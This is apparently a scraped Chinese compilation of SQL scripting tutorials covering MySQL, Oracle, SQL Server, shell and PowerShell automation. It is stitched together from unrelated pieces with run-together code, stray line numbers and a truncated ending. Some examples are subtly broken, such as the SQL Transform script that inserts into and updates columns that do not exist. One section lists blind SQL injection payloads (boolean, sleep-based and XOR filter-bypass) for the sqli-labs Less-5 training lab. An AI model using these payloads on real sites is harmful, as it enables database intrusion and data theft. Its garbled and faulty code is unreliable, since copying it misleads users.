sql脚本编写
sql transform 用法
sql transform 用法SQL Transform是一种强大的数据分析工具,它可以帮助您从数据源中提取、清洗和转换数据,以生成新的、更有用的数据视图。
本文将向您介绍SQL Transform的基本用法,包括其工作原理、步骤和常见技巧。
SQL Transform基于SQL(结构化查询语言)编写,用于对数据进行重新格式化和转换。
它可以将一个或多个源表中的数据转化为新的、目标表的形式,以便更好地满足数据分析、数据挖掘和机器学习的需求。
1. 准备数据源:确定要转换的数据源,包括表格结构、字段名称和数据类型。
2. 编写SQL脚本:根据需要,编写SQL脚本以提取、清洗和转换数据。
3. 运行SQL脚本:将脚本提交给数据库管理系统(如MySQL、Oracle或SQL Server)执行。
4. 验证结果:检查转换后的数据是否符合预期,并进行必要的调整。
1. 优化查询性能:使用合适的索引和优化器参数,以提高查询速度。
2. 批量处理数据:使用批量加载和更新功能,减少数据库负载。
3. 使用临时表:创建临时表来存储中间结果,避免重复数据和减少错误。
4. 避免数据丢失:在转换过程中,要特别注意数据的完整性和准确性。
5. 自动化脚本:使用脚本生成器或自动化工具,简化SQL Transform的编写和执行过程。
以下是一个简单的SQL Transform示例,展示如何从一个源表中提取数据,并将其按照特定格式转换到目标表中。
假设我们有一个名为“sales”的表格,包含以下字段:id、customer_id、product_name和sale_amount。
我们希望将该表格按照产品名称进行分组,并计算每个产品的总销售额。
以下是相应的SQL脚本:```sqlCREATE TABLE #temp_table (product_name VARCHAR(50),total_sales DECIMAL(10, 2));INSERT INTO #temp_table (product_name, sale_amount)SELECT product_name, SUM(sale_amount) AS total_salesFROM salesGROUP BY product_name;UPDATE salesSET total_sales = coalesce(t.total_sales, 0) -- 如果目标表中没有对应的记录,则将当前行的total_sales设置为0 FROM salesJOIN #temp_table t ON sales.product_name = t.product_name;DROP TABLE #temp_table;```这个示例中,我们首先创建了一个临时表来存储转换后的数据,然后将源表中的数据按照产品名称进行分组并计算总销售额。
MySQL控制台执行.sql脚本文件
1 source F:\Sql\createTable.sql //注意,这里使用绝对路径,而且最后不用加分号
如图所示,执行成功了,可以执行下面的命令进行查看
1 show tables;
如果导入之后,发现中文乱码,在导入之前,先执行如下这句命令行:
1 set names utf8;
再执行:source命令
如果导入之后发现中文乱码在导入之前先执行如下这句命令行
MySQL控制台执行 .sql脚本文件
用notepad++编写好一个.sql脚本文件:
1 drop database if exists library; 2 create database library default charae table user( 6 id int(11) not null auto_increment, 7 name varchar(255) default null, 8 password varchar(255) default null, 9 primary key (id) 10 )engine=innodb default charset=utf8;
SQL脚本-变量--转
SQL脚本-变量--转说明:现在市⾯上定义变量的教程和书籍基本都放在存储过程上说明,但是存储过程上变量只能作⽤于begin...end块中,⽽普通的变量定义和使⽤都说的⽐较少,针对此类问题只能在官⽅⽂档中才能找到讲解。
前⾔MySQL存储过程中,定义变量有两种⽅式:1、使⽤set或select直接赋值,变量名以@开头例如:set @var=1;可以在⼀个会话的任何地⽅声明,作⽤域是整个会话,称为⽤户变量。
2、以declare关键字声明的变量,只能在存储过程中使⽤,称为存储过程变量,例如:declare var1 int default 0;主要⽤在存储过程中,或者是给存储传参数中。
两者的区别是:在调⽤存储过程时,以declare声明的变量都会被初始化为null。
⽽会话变量(即@开头的变量)则不会被再初始化,在⼀个会话内,只须初始化⼀次,之后在会话内都是对上⼀次计算的结果,就相当于在是这个会话内的全局变量。
主体内容局部变量⽤户变量会话变量全局变量会话变量和全局变量叫系统变量。
⼀、局部变量,只在当前begin/end代码块中有效局部变量⼀般⽤在sql语句块中,⽐如存储过程的begin/end。
其作⽤域仅限于该语句块,在该语句块执⾏完毕后,局部变量就消失了。
declare语句专门⽤于定义局部变量,可以使⽤default来说明默认值。
set语句是设置不同类型的变量,包括会话变量和全局变量。
局部变量定义语法形式declare var_name [, var_name]... data_type [ DEFAULT value ];例如在begin/end语句块中添加如下⼀段语句,接受函数传进来的a/b变量然后相加,通过set语句赋值给c变量。
set语句语法形式set var_name=expr [, var_name=expr]...; set语句既可以⽤于局部变量的赋值,也可以⽤于⽤户变量的申明并赋值。
declare c int default 0;set c=a+b;select c as C;或者⽤select …. into…形式赋值select into 语句句式:select col_name[,...] into var_name[,...] table_expr [where...];例⼦:declare v_employee_name varchar(100);declare v_employee_salary decimal(8,4);select employee_name, employee_salaryinto v_employee_name, v_employee_salaryfrom employeeswhere employee_id=1;⼆、⽤户变量,在客户端链接到数据库实例整个过程中⽤户变量都是有效的。
oracle数据库巡检sql脚本
如何查询sga内各组件信息和pga大小SQL> conn / as sysdbaSQL> show parameter sga_max–查看sga的大小NAMETYPEVALUE------------------------------------ ----------- ------------------------------sga_max_sizebig integer 60SQL> show parameter sga_target–查看sga_target大小(只限10g以上版本) NAMETYPEVALUE------------------------------------ ----------- ------------------------------sga_targetbig integer 584MSQL> show parameter db_cache_size–-查看db_cache大小NAMETYPEVALUE------------------------------------ ----------- --------------------db_cache_sizebig integer 00SQL> show parameter shared_pool_size–查看share_pool大小NAMETYPEVALUE------------------------------------ ----------- ---------------------------shared_pool_sizebig integer 4SQL> show parameter pga—查看pga_aggregate_target NAMETYPEVALUE------------------------------------ ----------- ---------------pga_aggregate_targetbig integer 0查询数据库版本的sqlSQL> select VERSION from v$instance;VERSION-----------------9.2.0.1.0SQL>select name, log_mode from v$database; --查看数据库名,归档模式NAMELOG_MODE--------- ------------SKYOTAARCHIVELOG–NOARCHIVELOG为非归档模式查看数据库字符集SQL>selectvalueFROMnls_database_parameters'NLS_CHARACTERSET';VALUE-----------------------------------------------------ZHS16GBKWHEREparameter=查看redo log信息查看日至组及成员SELECTgroup#,member FROMV$LOGFILE查看xx如成员大小SQL> select group# ,bytes ,members from v$log;GROUP# BYTES MEMBERS---------- ---------- ----------1 0 12 0 13 0 1近一个月内每天xx切换次数selectto_char(first_time,'yy-mm-dd')day,count(*)timesfromv$log_history where first_time> sysdate-30group byto_char(first_time,'yy-mm-dd') ;查看监控当天高峰期日志切换情况–具体高峰时段根据项目特性修改sqlselectcount(*)timesfromv$log_historywherefirst_timebetweento_date('2009-04-11 10:00:00','yy-mm-dd hh24:mi:ss')andto_date('2009-04-11 16:00:00','yy-mm-dd hh24:mi:ss');在oracle告警日志中(alertsid.log),也可以查看最近日志切换的情况表空间使用率:SELECT UPPER (f.tablespace_name) "表空间名",d.tot_grootte_mb "表空间大小(M)",d.tot_grootte_mb - f.total_bytes "已使用空间(M)",TO_CHAR(ROUND ( (d.tot_grootte_mb - f.total_bytes)/ d.tot_grootte_mb* 100,2),'990.99') "以使用占当前表空间大小比例",f.total_bytes "空闲空间(M)", f.max_bytes "最大块(M)",d.max_autobytes "表空间扩展的最大尺寸(M)",TO_CHAR (ROUND ( (d.tot_grootte_mb - f.total_bytes)/ d.max_autobytes* 100,2),'990.99') "以使用占最大扩展比例"FROM (SELECT tablespace_name,ROUND (SUM (BYTES) / (1024 * 1024), 2) total_bytes,ROUND (MAX (BYTES) / (1024 * 1024), 2) max_bytesFROM SYS.dba_free_spaceGROUP BY tablespace_name) f,(SELECT dd.tablespace_name,ROUND (SUM (dd.BYTES) / (1024 * 1024),2) tot_grootte_mb,TRUNC ( SUM (DECODE (dd.maxbytes,0, dd.BYTES,dd.maxbytes))/ (1024 * 1024)) max_autobytesFROM SYS.dba_data_files ddGROUP BY dd.tablespace_name) dWHERE d.tablespace_name = f.tablespace_name;任务或job的运行情况selectschema_user,last_date,next_date,total_time,interval,failures,whatfromdba_job swhereschema_user='SKY'–以实际的业务用户为准查看系统当前的等待事件SELECTs.SID,w.event,ername,w.p1,w.p2,w.p3,s.logon_time,s.program,SYSDATEFROMv$session s,v$session_wait wWHEREs.SID=w.SIDANDw.eventNOT LIKE'%SQL*Net%'ANDw.eventNOT LIKE'%rdbms%'ANDw.eventNOT LIKE'%timer%'ANDw.eventNOT LIKE'%jobq%'ANDw.eventNOT LIKE'%wakeup%';当前等待事件对应的sqlSELECT/*+ RULE*/s.SID,w.event,ername,t.hash_value,t.piece,t.sql_text,SYSDATEFROMv$session s,v$session_wait w,v$sqltext tWHEREs.SID=w.SIDANDs.sql_hash_value=t.hash_valueANDw.eventIN('db file scattered read','db file sequential read','free buffer waits','enque','latch free','log file parallel write','log file sync','buffer busy waits','db file parallel write','db file single write','direct path read','direct path write','free buffer inspected','free buffer waits','library cache load lock','library cache lock','library cache pin','log buffer space','log file single write','log file switch (archiving need)', 'log file switch (clearing log file)','undo segment extension')ORDER BYs.SID,t.piece;当前主要全表扫描语句SELECTb.sql_text,b.executions,b.sorts,b.disk_reads,b.buffer_gets,a.hash_value,a.object_owner,a.object_name,SYSDATE FROMv$sql_plan a,v$sql bWHEREa.address=b.addressANDa.hash_value=b.hash_valueANDa.child_number=b.child_numberANDa.operation='TABLE ACCESS'ANDa.options='FULL'ANDa.object_ownerNOT IN('ODM','QS','QS_CBADM','QS_CS','QS_ES','QS_OS','QS_WS','SYS','SYSTEM');单次执行物理读多前20个语句SELECT*FROM(SELECTround(disk_reads/decode(EXECUTIONS,0,1,executions),2)bit,PARSING_USER_ID, EXECUTIONS,SORTS,COMMAND_TYPE,DISK_READS,sql_textFROMv$sqlareaORDER BYbitDESC)WHERE ROWNUM<21;物理多总数多前10个sqlSELECT*FROM(SELECTPARSING_USER_ID,EXECUTIONS,SORTS,COMMAND_TYPE,DISK_READS,sql_textFROMv$sqlareaORDER BYdisk_readsDESC)WHERE ROWNUM<11;单次逻辑读多的前10个sqlSELECT*b.spid,s.sql_hash_value,q.sql_text,q.executions,q.buffer_gets,ROUND(q.buffer_gets/q.executions)ASbuffer_per_exec,ROUND(q.elapsed_time /q.executions)AScpu_time_per_exec,q.cpu_time,q.elapsed_time,q.disk_reads,q.rows_processedFROMv$session s,v$process b,v$sql qWHEREs.sql_hash_value=q.hash_valueANDs.paddr=b.addr-- AND s.status = 'ACTIVE'ANDs.TYPE='USER'ANDq.buffer_gets>0ANDq.executions>0ORDER BYbuffer_per_execDESC)WHERE ROWNUM<=10;逻辑读多的前10个sqlSELECT*b.spid,s.sql_hash_value,q.sql_text,q.executions,q.buffer_gets,q.cpu_time,q.elapsed_time,q.disk_reads,q.rows_processedFROMv$session s,v$process b,v$sql q WHEREs.sql_hash_value=q.hash_value ANDs.paddr=b.addr-- AND s.status = 'ACTIVE'ANDs.TYPE='USER'ANDq.buffer_gets>0ANDq.executions>0ORDER BYbuffer_getsDESC)WHERE ROWNUM<=10;用户对象在非自定义表空间中存储的情况(owner='SKY'以实际业务用户为准)selectsegment_name,segment_type,tablespace_name,bytesfrom dba_segmentswhereowner='SKY'ANDTABLESPACE_NAMEIN('SYSTEM','USERS','SYSAUX')系统中最大的二十个表大小及高水位selectsegment_name,"SIZE(M)",TABLESPACE_NAMEfrom(select fromsegment_name,bytes/1024/1024"SIZE(M)",TABLESPACE_NAME user_segmentsORDERBYTESDESC)wherownum<=2011/ 11。
sql脚本编写教程
sql脚本编写教程SQL(Structured Query Language)是一种用于管理关系型数据库的编程语言。
它允许用户执行各种操作,包括创建、查询、插入、更新和删除数据。
SQL脚本是包含一系列SQL语句的文件,用于执行数据库操作。
本教程将指导你如何编写SQL脚本,并提供一些常用的SQL 语句示例。
1. 创建表在SQL中,使用CREATE TABLE语句可以创建表。
语法如下:CREATE TABLE table_name (column1 datatype,column2 datatype,...);例如,创建一个名为"students"的表,它包含id、name和age 列,可以使用以下语句:CREATE TABLE students (id INT,name VARCHAR(50),age INT);2. 插入数据使用INSERT INTO语句可以向表中插入数据。
语法如下:INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...);例如,插入一条学生数据可以使用以下语句:INSERT INTO students (id, name, age)VALUES (1, 'John', 20);3. 查询数据使用SELECT语句可以从表中查询数据。
语法如下:SELECT column1, column2, ...FROM table_nameWHERE condition;例如,查询所有学生的姓名和年龄可以使用以下语句:SELECT name, ageFROM students;4. 更新数据使用UPDATE语句可以更新表中的数据。
语法如下:UPDATE table_nameSET column1 = value1, column2 = value2, ...WHERE condition;例如,将id为1的学生年龄更新为22可以使用以下语句:UPDATE studentsSET age = 22WHERE id = 1;5. 删除数据使用DELETE FROM语句可以删除表中的数据。
sql脚本编写教程
sql脚本编写教程
一、概述
在日常开发中,我们一般是通过数据库的可视化软件例如Navicat来管理数据库,包括创建删除修改等,这无疑是非常便捷的,但是当进行项目搬迁的时候,用Navicat一个一个的重新进行编写,就有点麻烦了,尤其是如果数据库中要插入大量的数据时,此时如果通过sql脚本,那将大大的减少我们的工作量。
二、编写一个简单的sql脚本:
1,创建数据库
创建数据库时我们需要指定数据库的编码格式,以及数据库的编码排序规则。
2,创建数据库表
3,往数据库中插入值
注意:
1)当插入的数据是中文或者字符串时需要将其用英文的单引号’'括起来;
2)Now()代表是当前时间;
三、运行sql脚本
1,可以先创建一个记事本文件,将sql语句编写完成后保存,将后缀名改成“。
sql”,随后打开数据库可视化软件,本例用Navicat。
2,打开软件并连接好数据库,随后将编写好的sql脚本拖到下列界面。
3,随后会自动弹出来是否运行界面,点击“开始”即可,如果sql语句编写无误,数据库将会自动创建完成。
Linux脚本中调用SQL,RMAN脚本
Linux脚本中调⽤SQL,RMAN脚本Linux/Unix shell脚本中调⽤或执⾏SQL,RMAN 等为⾃动化作业以及多次反复执⾏提供了极⼤的便利,因此通过Linux/Unix shell来完成的相关⼯作,也是DBA必不可少的技能之⼀。
本⽂针对Linux/Unix shell脚本调⽤sql, rman 脚本给出了相关⽰例。
⼀、由shell脚本调⽤sql,rman脚本1. 1、shell脚本调⽤sql脚本2. #⾸先编辑sql⽂件3. oracle@SZDB:~> more dept.sql4. connect scott/tiger5. spool /tmp/dept.lst6. set linesize 100 pagesize 807. select * from dept;8. spool off;9. exit;10.11. #编辑shell脚本⽂件,在shell脚本内调⽤sql脚本12. oracle@SZDB:~> more get_dept.sh13. #!/bin/bash14.15. # set environment variable16.17. if [ -f ~/.bashrc ]; then18. . ~/.bashrc19. fi20.21. export ORACLE_SID=CNMMBO22. sqlplus -S /nolog @/users/oracle/dept.sql #注意此处执⾏sql脚本的⽅法 -S 表⽰以静默⽅式执⾏23. exit24.25. #授予脚本执⾏权限26. oracle@SZDB:~> chmod 775 get_dept.sh27.28. -->执⾏shell脚本29. oracle@SZDB:~> ./get_dept.sh30.31. DEPTNO DNAME LOC32. ---------- -------------- -------------33. 10 ACCOUNTING NEW YORK34. 20 RESEARCH DALLAS35. 30 SALES CHICAGO36. 40 OPERATIONS BOSTON37.38. 2、shell脚本调⽤rman脚本39. #⾸先编辑RMAN脚本40. oracle@SZDB:~> more rman.rcv41. RUN {42. CONFIGURE RETENTION POLICY TO RECOVERY WINDOW OF 7 DAYS;43. CONFIGURE BACKUP OPTIMIZATION ON;44. CONFIGURE CONTROLFILE AUTOBACKUP ON;45. CONFIGURE CONTROLFILE AUTOBACKUP FORMAT FOR DEVICE TYPE DISK TO '/users/oracle/bak/%d_%F';46. ALLOCATE CHANNEL CH1 TYPE DISK MAXPIECESIZE=4G;47. ALLOCATE CHANNEL CH2 TYPE DISK MAXPIECESIZE=4G;48. SET LIMIT CHANNEL CH1 READRATE=10240;49. SET LIMIT CHANNEL CH1 KBYTES=4096000;50. SET LIMIT CHANNEL CH2 READRATE=10240;51. SET LIMIT CHANNEL CH2 KBYTES=4096000;52. CROSSCHECK ARCHIVELOG ALL;53. DELETE NOPROMPT EXPIRED ARCHIVELOG ALL;54. BACKUP55. DATABASE FORMAT '/users/oracle/bak/%d_FULL__%U';56. SQL 'ALTER SYSTEM ARCHIVE LOG CURRENT';57. BACKUP ARCHIVELOG ALL FORMAT '/users/oracle/bak/%d_LF_%U' DELETE INPUT;58. DELETE NOPROMPT OBSOLETE;59. RELEASE CHANNEL CH1;60. RELEASE CHANNEL CH2;63. #编辑shell脚本⽂件,在shell脚本内调⽤rman脚本64. oracle@SZDB:~> more rman_bak.sh65. #!/bin/bash66.67. # set environment variable68.69. if [ -f ~/.bashrc ]; then70. . ~/.bashrc71. fi72.73. export ORACLE_SID=CNMMBO74. $ORACLE_HOME/bin/rman target / cmdfile=/users/oracle/rman.rcv log=/users/oracle/bak/rman.log75. exit76.77. #授予脚本执⾏权限78. oracle@SZDB:~> chmod 775 rman_bak.sh79.80. #执⾏shell脚本81. oracle@SZDB:~> ./rman_bak.sh⼆、嵌⼊sql语句及rman到shell脚本1. 1、直接将sql语句嵌⼊到shell脚本2. oracle@SZDB:~> more get_dept_2.sh3. #!/bin/bash4. # Author : Robinson Cheng5. # Blog : /robinson_06126.7. # set environment variable8.9. if [ -f ~/.bashrc ]; then10. . ~/.bashrc11. fi12.13. export ORACLE_SID=CNMMBO14. sqlplus -S /nolog <<EOF #EOF在此表⽰当输⼊过程中碰到EOF后,整个sql脚本输⼊完毕15. connect scott/tiger16. spool /tmp/dept.lst17. set linesize 100 pagesize 8018. select * from dept;19. spool off;20. exit; #退出sqlplus 环境21. EOF22. exit #推出shell脚本23.24. #授予脚本执⾏权限25. oracle@SZDB:~> chmod u+x get_dept_2.sh26.27. #执⾏shell脚本28. oracle@SZDB:~> ./get_dept_2.sh29.30. DEPTNO DNAME LOC31. ---------- -------------- -------------32. 10 ACCOUNTING NEW YORK33. 20 RESEARCH DALLAS34. 30 SALES CHICAGO35. 40 OPERATIONS BOSTON36.37. 2、直接将sql语句嵌⼊到shell脚本(⽅式⼆,使⽤管道符号>代替spool来输出⽇志)38. oracle@SZDB:~> more get_dept_3.sh39. #!/bin/bash40.41. # set environment variable42.43. if [ -f ~/.bashrc ]; then44. . ~/.bashrc47. export ORACLE_SID=CNMMBO48. sqlplus -S /nolog 1>/users/oracle/dept.log 2>&1 <<EOF49. connect scott/tiger50. set linesize 80 pagesize 8051. select * from dept;52. exit;53. EOF54. cat /users/oracle/dept.log55. exit56.57. #另⼀种实现⽅式,将所有的sql语句输出来⽣成sql脚本后再调⽤58. oracle@SZDB:~> more get_dept_4.sh59. #!/bin/bash60.61. # set environment variable62.63. if [ -f ~/.bashrc ]; then64. . ~/.bashrc65. fi66.67. export ORACLE_SID=CNMMBO68. echo "conn scott/tiger69. select * from dept;70. exit;" >/users/oracle/get_dept.sql71. sqlplus -silent /nolog @get_dept.sql 1>/users/oracle/get_dept.log 2>&172. cat get_dept.log73. exit74.75. 3、将rman脚本嵌⼊到shell脚本76. oracle@SZDB:~> more rman_bak_2.sh77. #!/bin/bash78.79. # set environment variable80.81. if [ -f ~/.bashrc ]; then82. . ~/.bashrc83. fi84.85. export ORACLE_SID=CNMMBO86. $ORACLE_HOME/bin/rman log=/users/oracle/bak/rman.log <<EOF87. connect target /88. RUN {89. CONFIGURE RETENTION POLICY TO RECOVERY WINDOW OF 7 DAYS;90. CONFIGURE BACKUP OPTIMIZATION ON;91. CONFIGURE CONTROLFILE AUTOBACKUP ON;92. CONFIGURE CONTROLFILE AUTOBACKUP FORMAT FOR DEVICE TYPE DISK TO '/users/oracle/bak/%d_%F';93. ALLOCATE CHANNEL CH1 TYPE DISK MAXPIECESIZE=4G;94. ALLOCATE CHANNEL CH2 TYPE DISK MAXPIECESIZE=4G;95. SET LIMIT CHANNEL CH1 READRATE=10240;96. SET LIMIT CHANNEL CH1 KBYTES=4096000;97. SET LIMIT CHANNEL CH2 READRATE=10240;98. SET LIMIT CHANNEL CH2 KBYTES=4096000;99. CROSSCHECK ARCHIVELOG ALL;100. DELETE NOPROMPT EXPIRED ARCHIVELOG ALL;101. BACKUP102. DATABASE FORMAT '/users/oracle/bak/%d_FULL__%U';103. SQL 'ALTER SYSTEM ARCHIVE LOG CURRENT';104. BACKUP ARCHIVELOG ALL FORMAT '/users/oracle/bak/%d_LF_%U' DELETE INPUT;105. DELETE NOPROMPT OBSOLETE;106. RELEASE CHANNEL CH1;107. RELEASE CHANNEL CH2;108. }109. EXIT;110. EOF111. exit112.113. #授予脚本执⾏权限114. oracle@SZDB:~> chmod u+x rman_bak_2.sh115.116. #执⾏shell脚本117. oracle@SZDB:~> ./rman_bak_2.sh118. RMAN> RMAN> 2> 3> 4> 5> 6> 7> 8> 9> 10> 11> 12> 13> 14> 15> 16> 17> 18> 19> 20> 21> RMAN> oracle@SZDB:~>。
SQL创建表脚本
SQL创建表脚本《1》SQL Server设置主键⾃增长列SQL Server设置主键⾃增长列1.新建⼀数据表,⾥⾯有字段id,将id设为为主键create table tb(id int,constraint pkid primary key (id))create table tb(id int primary key )2.新建⼀数据表,⾥⾯有字段id,将id设为主键且⾃动编号create table tb(id int identity(1,1),constraint pkid primary key (id))create table tb(id int identity(1,1) primary key )3.已经建好⼀数据表,⾥⾯有字段id,将id设为主键alter table tb alter column id int not nullalter table tb add constraint pkid primary key (id)4.删除主键 Declare @Pk varChar(100);Select @Pk=Name from sysobjects where Parent_Obj=OBJECT_ID('tb') and xtype='PK';if @Pk is not nullexec('Alter table tb Drop '+ @Pk)《2》在新表中创建外键在“对象资源管理器”中,连接到数据库引擎的实例。
在标准菜单栏上,单击“新建查询”。
将以下⽰例复制并粘贴到查询窗⼝中,然后单击“执⾏”。
此实例创建⼀个表并定义针对列 TempID 的外键约束,该列引⽤ Sales.SalesReason 表中的列 SalesReasonID。
ON DELETE CASCADE 和 ON UPDATE CASCADE ⼦句⽤于确保对 Sales.SalesReason 表的更改⾃动传播到 Sales.TempSalesReason 表USE AdventureWorks2012;GOCREATE TABLE Sales.TempSalesReason (TempID int NOT NULL, Name nvarchar(50),CONSTRAINT PK_TempSales PRIMARY KEY NONCLUSTERED (TempID),CONSTRAINT FK_TempSales_SalesReason FOREIGN KEY (TempID)REFERENCES Sales.SalesReason (SalesReasonID)ON DELETE CASCADEON UPDATE CASCADE);GO《3》建表之前进⾏必要的批处理CREATE TABLE UserContactPerson(ID INT PRIMARY KEY,UserID INT,ContactPersonID INT)(贴代码是格式错位了)这种写法是最原始、落后的。
Shell脚本中执行sql语句操作mysql的5种方法
Shell脚本中执⾏sql语句操作mysql的5种⽅法对于⾃动化运维,诸如备份恢复之类的,DBA经常需要将SQL语句封装到shell脚本。
本⽂描述了在Linux环境下mysql数据库中,shell脚本下调⽤sql语句的⼏种⽅法,供⼤家参考。
对于脚本输出的结果美化,需要进⼀步完善和调整。
以下为具体的⽰例及其⽅法。
1、将SQL语句直接嵌⼊到shell脚本⽂件中复制代码代码如下:--演⽰环境[root@SZDB ~]# more /etc/issueCentOS release 5.9 (Final)Kernel \r on an \mroot@localhost[(none)]> show variables like 'version';+---------------+------------+| Variable_name | Value |+---------------+------------+| version | 5.6.12-log |+---------------+------------+[root@SZDB ~]# more shell_call_sql1.sh#!/bin/bash# Define logTIMESTAMP=`date +%Y%m%d%H%M%S`LOG=call_sql_${TIMESTAMP}.logecho "Start execute sql statement at `date`." >>${LOG}# execute sql statmysql -uroot -p123456 -e "tee /tmp/temp.logdrop database if exists tempdb;create database tempdb;use tempdbcreate table if not exists tb_tmp(id smallint,val varchar(20));insert into tb_tmp values (1,'jack'),(2,'robin'),(3,'mark');select * from tb_tmp;noteequit"echo -e "\n">>${LOG}echo "below is output result.">>${LOG}cat /tmp/temp.log>>${LOG}echo "script executed successful.">>${LOG}exit;[root@SZDB ~]# ./shell_call_sql1.shLogging to file '/tmp/temp.log'+------+-------+| id | val |+------+-------+| 1 | jack || 2 | robin || 3 | mark |+------+-------+Outfile disabled.2、命令⾏调⽤单独的SQL⽂件复制代码代码如下:[root@SZDB ~]# more temp.sqltee /tmp/temp.logdrop database if exists tempdb;create database tempdb;use tempdbcreate table if not exists tb_tmp(id smallint,val varchar(20));insert into tb_tmp values (1,'jack'),(2,'robin'),(3,'mark');select * from tb_tmp;notee[root@SZDB ~]# mysql -uroot -p123456 -e "source /root/temp.sql" Logging to file '/tmp/temp.log'+------+-------+| id | val |+------+-------+| 1 | jack || 2 | robin || 3 | mark |+------+-------+Outfile disabled.3、使⽤管道符调⽤SQL⽂件复制代码代码如下:[root@SZDB ~]# mysql -uroot -p123456 </root/temp.sqlLogging to file '/tmp/temp.log'id val1 jack2 robin3 markOutfile disabled.#使⽤管道符调⽤SQL⽂件以及输出⽇志[root@SZDB ~]# mysql -uroot -p123456 </root/temp.sql >/tmp/temp.log [root@SZDB ~]# more /tmp/temp.logLogging to file '/tmp/temp.log'id val1 jack2 robin3 markOutfile disabled.4、shell脚本中MySQL提⽰符下调⽤SQL复制代码代码如下:[root@SZDB ~]# more shell_call_sql2.sh#!/bin/bashmysql -uroot -p123456 <<EOFsource /root/temp.sql;select current_date();delete from tempdb.tb_tmp where id=3;select * from tempdb.tb_tmp where id=2;EOFexit;[root@SZDB ~]# ./shell_call_sql2.shLogging to file '/tmp/temp.log'id val1 jack2 robin3 markOutfile disabled.current_date()2014-10-14id val2 robin5、shell脚本中变量输⼊与输出复制代码代码如下:[root@SZDB ~]# more shell_call_sql3.sh#!/bin/bashcmd="select count(*) from tempdb.tb_tmp"cnt=$(mysql -uroot -p123456 -s -e "${cmd}")echo "Current count is : ${cnt}"exit[root@SZDB ~]# ./shell_call_sql3.shWarning: Using a password on the command line interface can be insecure.Current count is : 3[root@SZDB ~]# echo "select count(*) from tempdb.tb_tmp"|mysql -uroot -p123456 -s3[root@SZDB ~]# more shell_call_sql4.sh#!/bin/bashid=1cmd="select count(*) from tempdb.tb_tmp where id=${id}"cnt=$(mysql -uroot -p123456 -s -e "${cmd}")echo "Current count is : ${cnt}"exit[root@SZDB ~]# ./shell_call_sql4.shCurrent count is : 1#以上脚本演⽰中,作抛砖引⽟只⽤,对于输出的结果不是很规整友好,需要进⼀步改善和提⾼。
SQL盲注二分法注入脚本
SQL盲注⼆分法注⼊脚本sql盲注⼆分法注⼊脚本此脚本可以⽤来检测sql靶场第五关⼿⼯注⼊猜测数据库id=1' and length(database())=8-- -id=1'and left(database(),1)>'a'-- - 1id=1' and left(database(),1)>'z' -- - 0在a-z之间id=1'and left(database(),1)>'r'-- -1id=1' and left(database(),1)>'s' -- -0id=1'and left(database(),2)>'sa'-- -猜测表id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>na是从0开始第⼏个表,b是为第⼏个字符,n是ASCII所对应的⼗进制数第⼀个表ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101第⼆个表ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101判断user表http://localhost/Tkitn/sqlitest/Less-5/?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23爆出字段http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM ers ORDER BY id LIMIT 0,1),1,1))=68-- -盲注时间盲注id=1'and sleep(5)-- -id=1' and if(length(database())>=8,sleep(5),1)-- -盲注1'^(ascii(substr((select database()),%d,1))<%d)^1#括号绕空格1'^(ascii(substr((select(database())),1,1))<1)^1#逗号被过滤1'^(ascii(substr((select(database()))from(1)for(1)))<1)^1#for被过滤1'^(ascii(substr((select(database()))from(1)))<1)^1#MySQL|SUBSTR() 函数⽤法https:///p/110142732布尔注⼊改后⾯的数字1'^(ascii(substr((select(database()))from(1)))<1)^1#97 98 99 100异或 ^ 绕过 =1^1=0 1^0=1 0^0=0每个字符的ascii码判断,是否不等于给定的数字,会得到⼀个布尔值(0或1)再与结尾的0进⾏运算。
SQLServer用powershell实现多台服务器批量执行SQL脚本
SQLServer⽤powershell实现多台服务器批量执⾏SQL脚本 在运维⼯作中,会遇到很多重复性的操作。
对于单台服务器重复性的⼯作,可以⽤job实现定期的处理;⽽对于多台服务器相同的需求,我们就可以利⽤powershell来进⾏批量的操作,对多台服务器进⾏批量相同的操作。
本⽂重点分析这种⽅案的实现过程,⽽不纠结于对每台服务器具体执⾏的SQL脚本,所以在例⼦中以简单的SQL脚本为例:在中⼼服务器上执⾏⼀个powershell脚本,即可以收集所有服务器的信息。
对类似于定期出report的任务,还可以将该powershell脚本设置成计划任务。
⾸先将需要执⾏批量操作的服务器放在⽂本⽂件Serverlist.txt中: 中⼼服务器:10.120.100.101 10.120.100.1 10.120.100.2 10.120.100.3 以下所有创建的⽂件应该和Serverlist.txt放在⼀个⽂件夹中! ⼀.编写SQL脚本实现需求,并保存.SQL⽂件: 脚本1-(脚本⽂件名1.Create_DB&Table.sql):在每台服务器创建收集数据的数据库和表 --默认设置创建⽤于收集信息的专⽤数据库 CREATE DATABASE [Info_stats] CONTAINMENT = NONE ON PRIMARY ( NAME = N'Info_stats', FILENAME = N'D:\SQLServer\Data\Info_stats.mdf' , SIZE = 4096KB , FILEGROWTH = 1024KB ) LOG ON ( NAME = N'Info_stats_log', FILENAME = N'D:\SQLServer\Data\Info_stats_log.ldf' , SIZE = 1024KB , FILEGROWTH = 10%) GO --在该数据库中创建本例⼦中需要⽤到的表 Use [Info_stats]; Create table DBName (Servername nvarchar(100), DBName nvarchar(100)) 脚本2-(脚本⽂件名2.Select_DBName.sql):查询所有⽤户数据库名字并存放在该服务器上的[Info_stats]-DBName表中 select name from sysdatabases where name not in(N'master', N'model', N'msdb', N'tempdb', N'distribution', N'DWDiagnostics',N'DWConfiguration',N'DWQueue', N'resource',N'ReportServer',N'ReportServerTempDB') 脚本3-(脚本⽂件名3.Copy Info to Centre.sql):将查询出的该服务器的信息同步到中⼼服务器: Set nocount on; use [Info_stats]; truncate table [Info_stats].[dbo].[DBName]; insert into [Info_stats].[dbo].[DBName] select * from ( select top 1* from OPENDATASOURCE( 'SQLOLEDB', 'Data Source=10.120.100.1;Integrated Security=SSPI' ).[Info_stats].[dbo].[DBName] order by Check_Date desc) c union select * from ( select top 1* from OPENDATASOURCE( 'SQLOLEDB', 'Data Source=10.120.100.2;Integrated Security=SSPI' ).[Info_stats].[dbo].[DBName] order by Check_Date desc) c union ( select * from ( select top 1* from OPENDATASOURCE( 